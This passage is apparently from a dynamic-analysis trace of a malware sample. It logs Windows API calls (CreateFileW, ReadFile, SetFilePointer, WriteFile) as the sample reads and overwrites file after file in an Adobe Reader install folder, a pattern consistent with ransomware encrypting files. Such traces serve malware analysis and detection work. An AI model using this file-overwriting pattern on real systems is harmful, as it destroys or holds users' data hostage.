lpOverlapped=0x0) returned 1 [0044.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.193] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.194] CloseHandle (hObject=0x198) returned 1 [0044.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\ReadOutLoud.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\readoutloud.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2200 [0044.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.194] ReleaseMutex (hMutex=0x128) returned 1 [0044.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CHT", cchWideChar=15, lpMultiByteStr=0x1e6320c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CHT", lpUsedDefaultChar=0x0) returned 15 [0044.194] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.197] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1200 [0044.197] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.198] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1200 [0044.198] WriteFile (in: hFile=0x198, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.198] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.198] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.199] CloseHandle (hObject=0x198) returned 1 [0044.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\logtransport2.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.199] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.199] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4d1e0 [0044.199] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.199] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.200] ReleaseMutex (hMutex=0x128) returned 1 [0044.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0044.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LogTransport2.exe", cchWideChar=17, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LogTransport2.exe", lpUsedDefaultChar=0x0) returned 17 [0044.200] ReadFile (in: hFile=0x198, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.201] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4c1e0 [0044.201] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.203] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4c1e0 [0044.204] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.204] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.204] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.204] CloseHandle (hObject=0x198) returned 1 [0044.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\digsig.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.205] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.205] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x15de63 [0044.205] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.205] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.205] ReleaseMutex (hMutex=0x128) returned 1 [0044.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.api", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.api", lpUsedDefaultChar=0x0) returned 10 [0044.205] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.207] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.208] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x15ce63 [0044.208] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.211] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x15ce63 [0044.211] WriteFile (in: hFile=0x198, lpBuffer=0x2736c68*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c68*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.212] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.212] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.212] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.212] CloseHandle (hObject=0x198) returned 1 [0044.212] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.213] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.213] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.213] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.213] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.213] ReleaseMutex (hMutex=0x128) returned 1 [0044.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DEU", lpUsedDefaultChar=0x0) returned 9 [0044.213] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.214] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.215] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.215] CloseHandle (hObject=0x198) returned 1 [0044.215] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.215] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.215] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.215] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.215] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.215] ReleaseMutex (hMutex=0x128) returned 1 [0044.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.PTB", lpUsedDefaultChar=0x0) returned 9 [0044.215] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.221] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.221] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.221] CloseHandle (hObject=0x198) returned 1 [0044.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.222] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.222] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2000 [0044.222] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.222] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.222] ReleaseMutex (hMutex=0x128) returned 1 [0044.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.FRA", lpUsedDefaultChar=0x0) returned 10 [0044.223] ReadFile (in: hFile=0x198, lpBuffer=0x2736268, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2736268*, lpNumberOfBytesRead=0x2e0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0044.232] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.233] WriteFile (in: hFile=0x198, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0044.233] CloseHandle (hObject=0x198) returned 1 [0044.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.233] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.234] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.234] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.234] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.234] ReleaseMutex (hMutex=0x128) returned 1 [0044.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CAT", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CAT", lpUsedDefaultChar=0x0) returned 13 [0044.234] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.322] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.322] WriteFile (in: hFile=0x198, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.322] CloseHandle (hObject=0x198) returned 1 [0044.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.322] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.322] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.322] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.323] ReleaseMutex (hMutex=0x128) returned 1 [0044.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x1e6342c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.KOR", lpUsedDefaultChar=0x0) returned 13 [0044.323] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.329] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.329] WriteFile (in: hFile=0x198, lpBuffer=0x1db0f38*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1db0f38*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.329] CloseHandle (hObject=0x198) returned 1 [0044.329] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.330] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.330] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.330] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.330] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.330] ReleaseMutex (hMutex=0x128) returned 1 [0044.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0044.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DAN", lpUsedDefaultChar=0x0) returned 16 [0044.330] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.339] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.339] WriteFile (in: hFile=0x198, lpBuffer=0x2735a68*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2735a68*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.339] CloseHandle (hObject=0x198) returned 1 [0044.339] CreateFileW 